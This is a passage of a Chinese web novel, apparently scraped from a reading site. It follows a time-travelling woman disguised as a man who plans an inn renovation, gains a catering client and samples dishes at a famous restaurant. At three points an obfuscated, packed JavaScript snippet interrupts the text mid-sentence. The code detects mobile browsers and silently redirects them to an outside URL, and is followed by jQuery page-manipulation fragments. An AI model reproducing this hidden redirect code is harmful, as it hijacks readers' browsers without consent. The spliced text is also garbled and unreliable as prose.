“还得是你对我最好。”李修阙看到林映玉一步两回头的背影隐入了夜色中，一展衣袍坐在木凳上说：“不是为兄有意扰了你俩温存，只是我明日要出一趟远门，许要十天半月才能回来，故而想来与你道个别，如若你已歇息了的话便算了，没想到你还真未歇下，咱们可真是命中注定的好兄弟，心有灵犀一点通。” 尚怀真听着这肉麻的话，真想在他的饭菜里下点猛料，让他窜一晚上的稀，好以后见着自己了别再这么啰里吧嗦，还成天不憋好屁。 她不留情面地“呸”了一声道：“我和映玉纯洁着呢，别老用你那龌蹉脑袋看待我们的关系，而且我也没有像你这般钟爱夜闯民宅的兄弟。” 把大杂烩饭递给李修阙，激动情绪一回落后，她瞬间就觉得精疲力尽，困意上涌，一边打着哈欠一边往外走着说：“你吃好了就放着，我困死了，要回房睡觉了，有什么事等你出差回来再说吧。” “哎，别呀。”李修阙一把抓住她的手臂，呲起一个无比真诚的笑容道：“今夜咱兄弟俩抵足而眠如何？” “？”这人怕是有毛病吧。 长得帅的最大好处估计就是让人不容易生起气来，盯着那张越看越想将其锤扁的俊脸，尚怀真把快要掉到地上的下巴扶起，斩钉截铁地拒绝了。 李修阙一脸伤心地从怀里拿出一卷纸，啧啧摇头，可惜道：“亏为兄还帮你谋了不少便利呢。” 收起准备要往他脸上盖巴掌的手，转而扶在他的肩上，尚怀真好奇地探过头去，问：“什么便利？” “这里冷冷冰冰的，实在是没有畅谈的欲望啊。”李修阙见她回心转意，又把纸收入怀中，摊着手无奈摇头。 “你！爱说不说。”又吊胃口！尚怀真气得咬牙切齿，不再惯着他了，直接利落转身，大步走出去。 “好啦，不愿意就算了，接好了。”收起逗弄后招呼了一声，见尚怀真回头，李修阙捧着饭碗倚在门边，直接将一卷纸和一份信函一起扔给她。 “让我到你房中取个暖总可以吧。” 站在积雪上，看着小院中一片漆黑，只余厨房内细微跳动的烛光映出李修阙忽明忽暗的脸，那双如墨的眸子遥遥望着自己，似乎有些落寞之意，尚怀真叹了一口气，让他赶紧跟上。 水汪汪的黑眼睛，笑态多亲善……啊，也不知道在阿Sam开演唱会前，自己还能不能赶回现代。 走至东厢，李修阙拍去肩膀上的落雪，打量了一下她简陋的房间，盘腿坐在炭盆前，感慨道：“虽然还是这般家徒四壁，但好歹也是能烧上炭了，我院中还有许多用不上的物什，要不要拿些给你？” “那自然是多多益善。”尚怀真翻看着那一卷纸，闻言欣然答应。 只要是能换钱的东西，垃圾也是宝啊！ 将纸上的内容看了两遍，感觉就是一份简单的菜单，她疑惑问道：“这些菜目有何不对劲的地方吗？” 李修阙快速地将饭吃完，感觉手脚也暖和了，把碗放在窗边，走到桌案处兀自给自己倒了一杯水，道：“这是你们隔壁柳泉县一间绣坊里需求的菜式，她们雇的厨子年后就要辞工了。到街面的酒楼里订买膳食太贵，小馆子里又做不齐这些菜，无奈，就找到我问有没有合适的厨子可以举荐，我便想到了你。” 尚怀真点了点头，又看了一遍手上的菜单，感觉并不是很难，但是跨度还挺大，其中有荤有素，有些要求辛辣，有些又要甜口，应该是迎合了里面每个绣工的口味。 真要接下这单，的确需要花费不少心思，还不一定能保证每种口味都能做好，寻常的小饭馆里售卖的吃食大都是较为单一垂直的菜系，怪不得都不愿意做这门生意。 “这些菜我倒是都会做，就是不知道价格如何？” 可是自己的小食街正好需要这种客户呀！她权衡了一下，觉得只要有利可图的话，还是可以尝试看看的。 “第一个月三两银试吃，合适的话后续五两银一个月，每月月头付定，月尾清账。”李修阙手比着‘五’的姿势答道。 尚怀真心里盘算了一下，现在一斤猪肉七十文，每天一斤的话，一个月都去掉二两银了，都还没算上柴米油盐，这生意哪个冤大头会做啊！ 脸瞬间黑了下来，不快道：“我可以不赚钱当买个人情，但你也不能让我亏本啊。” 李修阙看着她喜怒皆形于色的脸，手压了压让她消消气，笑道：“你也太心急了些，我都还没说完呢。她们坊内共有十二个绣娘，每日辰时都会有专人将当日的菜目以及食材送至你家，午时再来取走饭食。” 尚怀真心里松了一口气，那就等于长期合作后一天平均能有一百六十文工钱，快是普工的两倍了，感觉倒也还行。 遂点了点头，问道：“明年何时开始？” “正月初九。” “好！还得是你有路子。”来财的bgm在她脑海中响起，让她的困意顿消，给李修阙比着赞道。 “她们家的绣品在多地供不应求，甚至于京城也有一定地位，故而掌柜娘子比寻常女子都要心高气傲些，首先便体现在了对吃食的要求上。这钱可不好赚，你要好好花些心思。”李修阙笑了笑，百无聊赖地挑拨着灯芯，不置可否。 尚怀真疑惑，将菜单收好，拿起一旁的信封正要打开，问道：“不是说女子不能从商，不可抛头露面吗？” 李修阙听到她言语中尽是疑问，而非嘲讽，抬眸认真地看着她，感慨道：“可是有些人向来不畏世俗之眼光，不会将传宗接代视作己任。这掌柜娘子一路走来十分艰难，能有今日之成就实属不易，故而至今未嫁。她上头还压着一个东家，好处是对她的声名小有护佑，坏的是她无法将自己这一手闯下的心血冠上己名。” “真乃吾辈之楷模。”尚怀真感叹了一声，唏嘘道：“我也要努把力，不久的将来，定会有她们出头的一天的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543083|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你确实是人中君子，怪不得那么美貌要强的小娘子会为你着迷。”李修阙细细地盯着她好一会，揶揄了一句后，也不再继续这个话题，看着她手上那封信说道： “这是我让程靖洲给你写的一副迎客联，他是京中小有名气的天才少年，你可以找人刻裱后挂于店内，于你或有增益。” 尚怀真展开，看着上面苍劲有力的字体，再联想到那张冷然淡漠的脸，有些不可置信地频频看向李修阙。 见他好似变成屁股长了虱子的长毛猴，老是一会躺着一会又坐起来，问道：“那样一个严肃板正的人，会给我写对联？你求了他很久？” “怎可能！我这般风流倜傥、英俊不凡的美男子，男女老少，人人相慕，想求一幅字，两句话的事情而已。”李修阙舒服地躺在地上直打哈欠，怕突然睡着，坐起精神一会，复又躺下。 尚怀真看着他那精神不济的模样，笑道：“没见过你这么自恋的，总之谢谢你啦，等你回来，我定满汉全席为你洗尘。你明日还要赶路，赶紧去找客栈休息罢。” “哇！这都多晚了，你是真的狠心不让为兄在此留宿一夜啊！”李修阙听到她话中的赶客之意，气得一个翻身跃起。 来者是客，正常这么晚会客都会客套一句让人小住一宿明天再走。但是想到自己男装下的女儿身，尚怀真尴尬地不敢看他，讷讷道：“我不习惯和别人一起睡，你会轻功，现在回家去也不会很晚吧。” 李修阙看着她局促的样子，只能自己消化了那口气，嫌弃道：“被褥总有罢。我奔波了一日，身乏无力，只想就近讨个落脚地歇息一夜，你不会是怕我有断袖之癖罢？放心，我只爱如花似玉的美人。” “不是不是，就是不习惯睡觉的时候房中有人而已，我这就给你拿被褥。”尚怀真干笑了两声，心想： “我不怕你，是怕我自己控制不住自己啊！睡着后不会哔哔的小奶狗太香了！” “嗯，好。”李修阙的脸色稍霁，在她转身去拿被褥的空隙，一个闪身，直接坐到她的床上脱去外衣和鞋袜，钻进她的被窝中。 尚怀真听到窸窸窣窣的声音，转头一看，见他已经躺着了，差点没被吓掉半条命，心里鼓声大擂：“我的月事条啊！就藏在麻席底下！怎么办怎么办！” 李修阙斜眼瞅了瞅她呆住的模样，困倦道：“介意的话，我明日再让府里给你送一套新的过来。” 尚怀真“哦”了一声，见他很安分地躺着没乱动，便将被褥在地上铺好，不敢灭灯，看着他安静下来的侧颜，小声问道：“我们萍水相逢，你为啥对我这么好呀？” “你身上有我欣赏的君子品质。” 李修阙囫囵答完，就沉沉睡去了，迷糊中还说了一句：“你这被窝挺舒服的，竟如此干爽，还有淡淡的馨香。” 女子的体味和男子本就有差别，尚怀真听着他的话，紧张得要死，感觉耳旁瞬间安静得只余双方呼吸的声音。 见他说完后，盖在他身上的被子微微起伏，已然是睡着了，才放下提着的心，小心翼翼地走过去。 高耸的鼻梁挺拔光滑，轻抿的唇峰饱满，长长的睫毛更映得浓郁的剑眉根根分明。 斯哈斯哈，她努力捂着自己不断上扬的嘴角，这性感的小嘴唇，不说话时还真有白古的味道了。 要不要偷亲一口呢？嘿嘿嘿…… 24. 修客栈（一） 阳光漫过窗栅，在房内留下旖旎光影。尚怀真顶着两道黑眼圈坐起，搂紧自己身上比昨夜入睡时多了一张的两重被子，看了看不远处平整的床榻，呼了一口气，决定放下折磨了她一夜的思想斗争，心道： “不就是偷亲了一下嘛，他又没发现，我也没尝出什么滋味来，有啥好后怕的？现实里不敢，在这陌生的地方难道还不能释放点真性情了吗，等以后有钱了，点一堆男模轮着亲！” 松了松蜷缩了一晚的筋骨，走过去拆卸罩在一层薄棉和干草堆外的布套，她突然还挺佩服李修阙的，像他这样一个富贵公子哥，居然能受得住寒冷干硬，在这般完全不保暖的床榻上睡得如此舒服。 瞬间就觉得自己刚刚的想法有些卑劣，毕竟他对自己确实不错，短短几天就给拉拢了一门好生意。 好嘛，好人也是人，也会喜色贪财，不过是件小事情，以后自己就认认真真地做个三观正且内心强大又有才艺的好人好了！ 从那门绣坊的生意联想到自己今天就能变成有钱人了，自省的想法才出现了一瞬，尚怀真就觉得完全情有可原，便再次说服了自己，哼着小曲儿往外走。 “哎呀！” 刚打开门走出去，就撞上迎面而来的林映玉，吓得赶紧扶住她的肩以防她跌倒。 盛了水的木盆在地上翻滚了两圈，还带着水蒸汽的热水泼洒在残雪上面，不一会就仅余一丝不甘心的白烟随风消散。 林映玉站稳后尴尬地稍稍侧身离开了那只手，看着同样散落在地上，有一圈小污渍的布单，想到昨夜里两人四手相叠的场景，以为是她生理发育而惹上的脏污，故而才在这种天寒地冻的时候还要清洗被套，完全忽略了那跌落的水可能会溅出来。 “映玉，你没事吧？”尚怀真见她红着脸愣在那不说话，像是有什么难以启齿的事，疑惑地左右看看，问道。 “没有的，就是想着你说今日一早要出门，见你这会还未起来，怕会误了事，遂过来看看。”林映玉抬眸，恰好对上她关怀的眼神，又立马低下头，羞怯地说道。 尚怀真了然地应了一声，帮她理了一下因慌乱而散落的碎发，笑道：“谢谢你呀，下次来的话直接敲门就好，我自个去烧水。” 说罢，便俯身去捡掉落的布单，刚好能用那个木盆装起来。 “怀真，你去忙你的事，这些放着我帮你洗吧。”林映玉拢了拢耳后的发丝，仍旧是低着头说道，看不清脸上的神情。 “不用，你一会和我一起去一趟吧，我也想参考一下你的意见。”土著的审美定然比自己接地气些。最后一句话尚怀真没说出口，把木盆放进房里后，就想立刻出发。 林映玉闻言惊讶抬头，在门边扫了一眼她的房间，欢欣地点点头，笑道：“不急，你先去洗漱罢，我晨起做有早点，去端来给你。” - 天晴晴，水蓝蓝，笑意怎都压不住。 在薛秋华的帮助下，尚怀真正式拥有了她“牛蛋”身份下的第一个银行账户。 看着手中那枚刻印着‘丁’字以及一串数字编号的木牌，她觉得很是新奇，回想起脑海中那为数不多的历史知识，记得正式的钱庄好像明清时才开始创立，唐宋只有代管财物的柜坊，再联想到那已经广泛应用的棉花，现在自己所处的这个时代比之晚唐似乎先进了不少。 待尚怀真留完画像及户籍信息后，薛秋华走过来，看到她满脸新奇的模样，笑说：“怀真哥，我已经从我的户头里把钱给你转过去了，你看要用到多少，一会可以直接去找掌柜取，清偿时也可以回来这儿再转入到我爹爹的户中。” “这么方便！”尚怀真惊呼了一声，问道：“这是何人创下的方案，也太有才了！” “虽然便利，但是要收取一定的人工费用哦。爹爹说这是当年宁太宗想向民间筹资养兵时想到的方法，后来世情稳定后，人们纷纷入店领钱，便将柜坊统一称为钱庄了，果然能当帝王的人脑子就是好使呢。”薛秋华的言语中不乏崇拜之意。 尚怀真闻言，立马就怀疑这个宁太宗难道也是玩家或者穿越者？如果是的话，为何只是将一些已经存在的作物及生产模式提前发现和运用，而不是去创新技术或发展远洋？ 不过人都仙逝十多年了，她也不在庙堂之上，再怎么想破脑袋也无从得知。 还是顾好自己吧。 “钱就先放着吧，我想先去找木匠问问我家客栈重新修缮需要多少钱。”尚怀真想了想，决定还是先把正事做了，不然突然一下子拿着这么多钱，太容易冲动消费了。 薛秋华思考了一会，道：“我爹爹昨日倒是向我举荐了一位精于木作的伯父，让我引荐给你，就是不知怀真哥你可想好了永兴客栈要如何布局？” 尚怀真听她这么说，想她应该是知道一些自己的想法的，便点点头，道：“这里不太方便说话，我们直接去那位匠人那儿吧。” 因为钱庄在湖山县中心的东潭城里，所以再走过去东兴街的那位工匠家并不远。 不多时，站在一扇气派的大门前，方让小厮通报后，薛秋华却有点退缩了。 尚怀真还没琢磨过来是为啥呢，才一会的功夫，只见小厮身后还跟着一个华服公子哥一同迎了出来。 “秋华！终于盼得你来我府上玩啦！快来看我又做出了许多新物什。” 她正想礼貌地上前打个招呼，那人却径直走到薛秋华的跟前，眉飞色舞地与她说着话。 薛秋华尴尬地对公子哥笑了笑，看了一眼尚怀真后，道：“卢公子，我今日是来找令尊的。” 卢公子见她兴致不高的样子，有点泄气，看向一旁的尚怀真，挑眉打量了一下她英气俊秀面容下的破布麻衫，抿了抿唇，复又对薛秋华讨好笑道：“秋华，我领你们进去吧。” 看着围在薛秋华身边不停嘘寒问暖的男子，一身条件不错，形象也还过得去，起了八卦之心的尚怀真突然觉得自己可以撮合撮合他俩，那样就不怕自己被薛振中选作未来女婿啦，简直妙极！ 来到会客堂中，脊背有些弯曲，眼角布满细纹的卢博士和蔼地问了薛秋华一些家常，就拿了纸笔给尚怀真，让她把思路简单画下来，然后留着小儿子卢逸轩在堂内招呼，自己则暂时出去处理手头业务了。 薛秋华唤他作卢伯父，尚怀真不好跟着，故而唤卢博士。想来这还是当初找人制作餐牌时王婆教的呢，原来这个朝代称呼工艺界的大师不叫师傅，而是叫博士。士农工商，其位虽低，但这样却很有被重视的感觉。 听着卢逸轩在滔滔不绝地单向和薛秋华聊着自己最近的见闻，尚怀真胡思乱想了一通，见墨已经被林映玉研得满满一盘，便赶紧提笔作画。 中间一个高耸的六角形舞台，下有一圈柜格，舞台旁边被十个小摊位围绕住，八角层面开四通楼道，每两通楼道间又夹小摊，小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583353|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊对出之地各留了一条小小的过道，过道交错之间，放置了供人饮食的桌椅。 林映玉看着她笔下那圈圈叉叉的简笔画，若不是一旁有标注，还真是能让人看得一头雾水。留意到中间的形样里写着一个‘戏’字，问道：“怀真，这个戏台你是想效仿漪福楼吗？” 尚怀真点了点头，又摇了摇头，答说：“他们给了我启发，但是我的这个戏台是招募戏班前来租地表演，而非漪福楼那般邀请舞娘登台献媚，若有需要时，也可供作家庭聚餐或婚庆的仪式台。” 卢逸轩听到后，讥笑道：“从未听说有谁家会择在宅外成婚。” 尚怀真闻言倒也不恼，抬头看着他笑说：“万一呢？人的思想是会改变的。况且有许多小戏班想要增加名气，也会很愿意到我这来租台演出，即使没有，下方开就了储物格，也算是物尽其用。” 薛秋华听着觉得很是新奇，走过来看她的稿图，细细问着她有没有设计好摊位、舞台的形制等，又问：“为何要设四通楼道？这样不就少了许多可用空间吗？” 尚怀真十分耐心地回答着她，解释说：“我预想高修七层，除了第一层的小食街外，第二层为茶酒馆，其中一条楼梯通引此处；而后再往上，三四层是正餐的就餐区及雅间，另外这通楼梯就直达上来；往上还有栈房等，亦是此个道理，这样便于专人专管，不怕跑堂们来往无序而浪费人力。” 卢逸轩不知何时也凑了过来，一开始的不屑早已消失不见，转而摩拳擦掌，似乎跃跃欲试。 薛秋华看着尚怀真，有些倾慕，又有些疑惑，从前怎的都不知道她有如此多的奇思妙想？ 夸赞了两句后，她皱眉道：“听起来很不错，但是想要建好这样一栋楼，五十金应是勉强，若再要用到精细上等的材料，不下百金。” 在三个人愁眉不展的时候，卢逸轩终于把尚怀真的稿图研究透了，拍了拍胸脯，自信道：“你们若放心交给我来负责的话不用这么贵，只是不知尚公子你有多少预算？” 尚怀真想了想，除去要留着过年和请工人的钱，还有食材和广告费等，都是一笔不小的支出，遂答：“我目前只有三两金。” 卢逸轩闻言，拿着她的稿图沉吟了许久，才道：“三两金，如果外墙及内梁条件都不错的话，最多也只能小缮两层楼，否则单建一个安全的戏台，就需要花去一两金，我得先去你们客栈探过究竟后才能判断。” 尚怀真无奈地点点头，这钱确实不经用。她抽空打听过，她们这种不起眼的小县城，买下一套两房一厅约六十平的小房子就要三百贯铜，折合就是现代的一万块一平方，这房价都快赶上后世人口饱和的准一线城市了。 小县城如此，遑论京城南洛等地，也不知道自己要奋斗多少年才能熬到开分店并立足京中的那天。 薛秋华见她有些沮丧，拉了拉她的袖子，小声说：“怀真哥，我平日里也存有一些钱，可以先借给你。” 尚怀真愣了愣，感激地摸了摸她的头，宽慰道：“不必，世上之事本就难以一蹴而就，先修缮出一个能遮风挡雨的舒适用饭地，至于桌椅之类，便先摆上普通的，等赚到钱了，再慢慢更新完善就好。” 林映玉站在尚怀真身后，神色黯淡地看了薛秋华两眼。 卢逸轩沉浸在充满挑战且与众不同的稿图中，没留意到她们的动态，才想现在就出发去踩点，自己的父亲走了进来。 25. 修客栈（二） 看着卢博士改进后的图纸，以及领着卢逸轩在永兴客栈里来回走动指导的身影，尚怀真不禁感叹，专业的事还是得交给专业的人来做。 即使他们没见识过现代的高楼大厦，也比自己这个门外汉强。 一旁的林映玉好奇地抻头看了看她手中的图纸，思索了一会，鼓着勇气问道：“怀真，我有几个建议，可以冒昧提出吗？” 尚怀真欣然点头，毫不犹豫地说：“当然可以呀，不过我在这方面一知半解，你可以过去直接和卢博士他们说。” 林映玉听完前半句时，双眸发亮，待听到后半句，适才鼓起的勇气又泄去了大半，笑容瞬间尴尬地凝在脸上，欲言又止。 薛秋华见到，友善地走过来挽起她的手臂，微笑道：“映玉姐姐，我陪你过去吧。” 林映玉复又看向尚怀真，见她正埋头研究着图纸，没有想要陪她一起去的意思，就感激地对薛秋华点点头，在她的陪伴下，字斟句酌地对卢博士提出自己的见解。 尚怀真将图纸上的每一条线都看了一遍，觉得以自己的水平也思考不出什么新的东西来了，抬头远远看见林映玉从一开始的谨言拘束变得落落大方，卢博士也时不时地对她点头认可，脸上不禁爬起笑容。 百花齐放才是春嘛。 装修的事情既已定下来了，她就要好好思考经营的问题了。按规划安排的话，这层小食街可以同时放置三十个摊位，但糕点饼面、凉菜热卤之类都想上架的话靠她自己一个人绝对是搞不定的，除去家里这几个帮手，剩下的摊位应该是租出去还是要招人来负责呢？招人的话，自己的手艺要传授给他们吗？ “尚公子，节后的初七辰时，老夫便让犬子带人来此动工，因还要提前打点榫材，烦请你先付二金定钱。对于这终稿，你看看是否还有别的要求？” 还没纠结出一个答案，卢博士走过来又递给自己一张再次修改完善后的设计图，尚怀真简单阅罢，忙不迭地点头说：“没问题！非常满意！我这就去钱庄取钱给您。” 卢博士笑呵呵地捋了捋黑白相交的长须，道：“不急，振中老弟还送了数套桌椅给你，届时老夫一并让轩儿带过来。” 说罢，在尚怀真的惊喜中，他婉拒了众人留饭的邀请，对卢逸轩吩咐了几句就先行告辞了。 客栈内的几个年轻人大眼瞪小眼了好一会，在得知又省去一笔钱的惊喜中回过神来的尚怀真，高兴地一拍桌，决定请他们去隔壁柳泉县内闻名的酒楼里用饭。 想着顺便看能不能绕去绣坊见一见她们的女老板，知己知彼，到时候做菜方可投其所好，促进合作。 离州一共有七个县，而名气能走到州外去的酒楼却只有三家，除了湖山县的漪福楼外，便是柳泉县的广源楼和泽云府的粱香阁。泽云府路远，现在这个时间去一趟就要直接在那边过夜了，广源楼与漪福楼不相上下，倒是可以先去取取经。 到钱庄取了钱给卢逸轩，刚拦下一辆牛车，还没谈好价钱，他就立马无奈地把她叫住，出资给几人叫了两辆能遮风挡雨又舒服的马车。 虽然觉得他此举很破费，但土著观念中根深蒂固的男女不同席思想不是她可以轻易撼动的，所以反对了一句后也不好再说些什么，反正花的又不是她的钱。 突然就觉得自己这一路来咋就那么顺利呢，不仅遇到了超级大方又信任自己的金主爸爸，就连身边这些有来往的公子哥们一个个也都是非富即贵、出手阔绰，所以自己是天生的富贵体质吗？ 想到这，她又控制不住地嘿嘿直笑起来。 卢逸轩刚拧好手中的水葫芦，还没将水吞下，差点没被她这突如其来的笑声吓得喷出来，连忙四周看看，瞬间就感觉这车厢内变得阴森森的。 尚怀真见他缩成一团好像在发抖的样子，也学着他的模样四周看了一圈，没见有何不妥，便好奇道：“你看啥呢？你出门都随身带水的吗？” 卢逸轩轻咳两声掩过自己的窘态，点了点头说：“我平常做器物时，极易入迷而致废寝忘食，沏好的茶常常凉了又热，热了又凉，我嫌麻烦，便习惯用能保暖的皮壶饮水了。” “噢，那你定是位能工巧匠。” 尚怀真称赞了一句，见他没答话，车厢内又静默了下来，无趣地撇撇嘴，也不知道该说些什么好了，就趴在窗边看着路上光秃的树干和匆忙的行人。 不过趴没几分钟，下巴就被抖得抽痛，这路也太不平了吧！ 卢逸轩看着她龇牙咧嘴的模样，问道：“我观你形貌，并不似富贵之人，是如何在这个年纪便能存下如此多钱，还能有这般巧思妙想的呢？” “穷人注定就等同没见识吗？” 他单纯是好奇的疑问，没想到被尚怀真误会了，连忙道歉后道：“尚兄弟你别误会，我只是想和你探讨一下你家客栈的修缮细节。” …… 另一辆马车上，薛秋华热络地拿出自己的手炉给林映玉暖着手，好奇地问着尚怀真平日生活里的点点滴滴。 林映玉有一搭没一搭地答着，脸上带着淡淡的微笑，眼里却暗淡无光。 薛秋华听着她的回答，越发觉得尚怀真真的是世间难得的好儿郎，笑道：“映玉姐姐，你长得这么美，等以后我嫁给了怀真哥，定要为你准备多多的嫁妆，帮你觅个好郎君，不让你受了欺负去。” 林映玉闻言愣了愣，连被她握着的手都僵住了，有股苦涩冲上喉间，声音里不禁带着丝哽咽，下意识道：“薛妹妹，如果我也……”‘心悦怀真’四个字还没说出口，就赶忙慌乱地将眼皮覆下，强然笑道：“那就先谢过薛妹妹了，怀真能娶到你定是他的荣幸。” 晶亮的眼眸下，薛秋华红润的脸庞看上去就像个十分沁甜的苹果，饱含生机。她此时正探出头去瞄着尚怀真她们的车架，既怕被她知道自己的心事，又怕她不知。 听到林映玉的回答，开心笑道：“能娶到映玉姐姐的郎君也定是修了八辈子的福报。” 而后看到她唇角有些咽血，关切道：“这大冬天的，寒风凛凛而使娇嫩的唇瓣极易干裂，姐姐你有口脂吗，我一会给你买一枚。” 林映玉连忙摆手，从怀中拿出尚怀真送给自己的那一小盒材质并不是十分好的口脂，用细指沾着浅浅在唇上涂了一层。 薛秋华笑着点点头，又继续挽着她话着别的家常。 - 柳泉县的广源楼里，一样是早早的就人满为患，尚怀真她们这次没有开雅间，而是在大堂中找了个相对僻静的角落，打算多听一些民间八卦，了解一下民众喜好。 虽然生意都是红火非常，但这广源楼与漪福楼却又大大不同，堂中没有华丽的舞台，也没有旖旎的纱幔，每一个餐桌旁都用一道小小的屏风分隔，使之看得到隔壁的人却看不清脸。落座后，有长袖善舞的姑娘，提着长嘴铜壶，穿梭于屏风之间，来回斟茶，时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608836|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不时还能听到鼓掌叫好声。 尚怀真着实惊呆了，曾经以为海捞捞等卷王企业已经够夸张了，原来在这古代没点绝活也当不了服务员。人家这天时地利人和的经营布局，怪不得座无虚席呢，真是让她感到任重道远，压力山大。 没多久，在小二推荐下点的第一道招牌菜就上桌了。 上菜的跑堂将封肉上薄如蚕丝的布巾揭开，干虾香菇等辅菜便瞬间失了支撑，在颤巍巍的方形猪肉上滑落，刹那间变得五颜六色的摆盘吸引得她们连连惊叹，板栗的香甜夹杂着浓厚的肉香，更是令人食指大动。用调羹轻轻将肥瘦相间的肉划开，似乎都还没用力，那晶莹如果冻般的猪肉就立马分开，轻轻倒在碟子上，还‘duangduang’了两下，神奇的是看着软滑的肉却没因此散开。 这道封肉因形似官印，故而在广源楼里又名光耀门楣。 招呼了一声众人后，尚怀真勺筷并用地将一片还在摇摆冒油的封肉夹入碗中，那融合了多种食材滋味，又被五香调制的酱汁浇淋过后的猪肉，腥腻被完全掩盖，转而混杂出一种奇妙诱人的香味。一口下去，肥肉部分吸收了满满的酱汁，板栗和香菇的奇特味道在口腔中被肥油洗涤，化作淡淡的香甜，不似直接吃这两种小料时那对味蕾强烈而单一的冲击。 瘦肉部分因有肥肉在上滋养，故而不老不柴，真可谓缺一不可。 让小二赶紧先把米饭端上来后，就着这道菜，她一连干了大半碗饭，举起拇指直夸好吃。 薛秋华看着她大快朵颐的模样，笑道：“怀真哥，慢点吃，下一道菜更绝呢。” 尚怀真点点头，才说完，就见一个小烤炉先被端了上来，然后跑堂从手上一盘放置了十根串串的菜碟上，将羊肉串一根一根地拿起架上烤炉，最后放下菜碟恭敬道：“待此羊肉烤至血红尽散，便是熟透，方可食用。若贵客偏爱齿间嚼劲，也可多烤半盏茶的时间。” 众人谢过，目送他离开后，尚怀真好奇地看着这道‘十全十美’，不管是那个可爱袖珍的小烤炉，还是菜碟上串好的猪脆骨和蔬菜叶，都令她觉得十分有趣。虽然知道有烤茶就定然会有烤肉，但穿越过来后，今天还是第一次吃到。 见肉都快烤好了还没上蘸料，她好奇地问薛秋华：“这些肉都是腌制过的吗？” 薛秋华给予了她肯定回答后，将烤好的羊肉分给在座的各人，又将剩下的食材架上去烤，道：“怀真哥，你尝尝，味道挺不错的，但我觉得用你做菜那种蘸料的方式会更好，可以根据自己的口味来调整咸淡。” 尚怀真接过，直接拿起竹签咬下一块后，确实觉得有点齁咸，就着酒水饮料吃或许还好些，但因为是直接用酱料腌制出来，而不是像后世那样在表层撒上孜然粉辣椒面，味道重了可以过水冲掉，这个就只能就着饭硬吞了。 虽然味道不太爱，但那肉质却很紧实鲜美，浓浓的油脂在齿间绽放，韧劲十足，厚重而不刺鼻的羊骚味恰到好处，瑕不掩瑜，感觉得出是用心挑选过的真材实料，光这一口肉便值了这道菜钱。 “你若喜欢，下次来我家里，我也整一顿烤肉给你吃。” 笑着接上薛秋华刚刚的话，后面的菜很快就上齐了，酒足饭饱后，她觉得这广源楼的味道及菜品丰富程度要比漪福楼略胜一筹，只是趣味性和观赏性少了些。 自己未来的永兴楼若是把他们的优点都集合了，不知道是否也能闻名一方呢？ 26. 爆金币啦 “今岁今宵尽，明年明日催，寒随一夜去，春逐五更来……”，随着孩童们在街巷里欢快地吟唱着史青的这首诗，劳碌匆忙的日子又到了一年中辞旧迎新的尾声，待今夜的鞭炮一放，再寒冷的冬天也终会过去的。 孟奶奶今晨早早的便起了身，将自己为家中几位小辈准备的新衣裳从柜里拿出，细心地掸去失足落在其上的尘埃，开心地想象着晚些孩子们惊喜的表情。随后她把压岁钱往红封中装毕，便打算简单洗漱一下去准备今日的年夜饭。 方走至厨间，就见林映玉已经在内里炊着早点了。陈米粥里那带着岁月沉淀的浑厚米香，窜入鼻腔后爬上梁间，满屋都是收成的味道，让她不禁停住了脚步，笑问：“玉儿，你昨儿辛苦了，今日合该好好歇着，怎起得这般早？” 正在专心熬粥的林映玉听到孟奶奶的声音，连忙先把灶中的柴火抽去一些，然后扶她坐下，盛起一碗热气腾腾的粥递过去，腼腆地答道：“老夫人万安，我寻常都是这个时辰起的，在床上干磨久了还觉得浑身难受呢。” 孟奶奶将粥喝了大半，绵滑软稠的米粒便将饿了一夜的肚子养至七分饱。她拍了拍林映玉的手，和蔼道：“好姑娘，不必辛劳了，今日除夕，老身来给你们做年夜饭，你今儿就好好去外间玩一天罢。” 林映玉本想推拒，但看到孟奶奶慈爱的眼神，还是乖巧地点了点头。 日上三竿，东厢的房中，尚怀真舒服地伸了个大大的懒腰，当牛马的这些年里，她已经不知道有多久没睡过这般长夜无梦的懒觉了。 推开门，揉了揉被阳光刺得睁不开的双眼，就见一老一少一小围坐在院子中，有说有笑地忙活着什么，好像是在包饺子。 她悄咪咪地到厨房里打来热水洗漱完，又悄咪咪地走过去，只见她们手里捏出来的东西封口处平平的带点弯弧，肚子又是圆圆鼓鼓的，既像馄饨，又像饺子。浓浓的羊骚味从大盆的肉馅中挥发出来，虽有姜末葱蒜等压制，但在那满满当当的羊肉中不过只起到了蚍蜉撼树的作用。 看来为了这个春节，平日里节俭的孟奶奶很是花了心思。 也不知道后世的现在是不是也在过年呢，奶奶她们还有在四处寻找失踪的自己吗？ 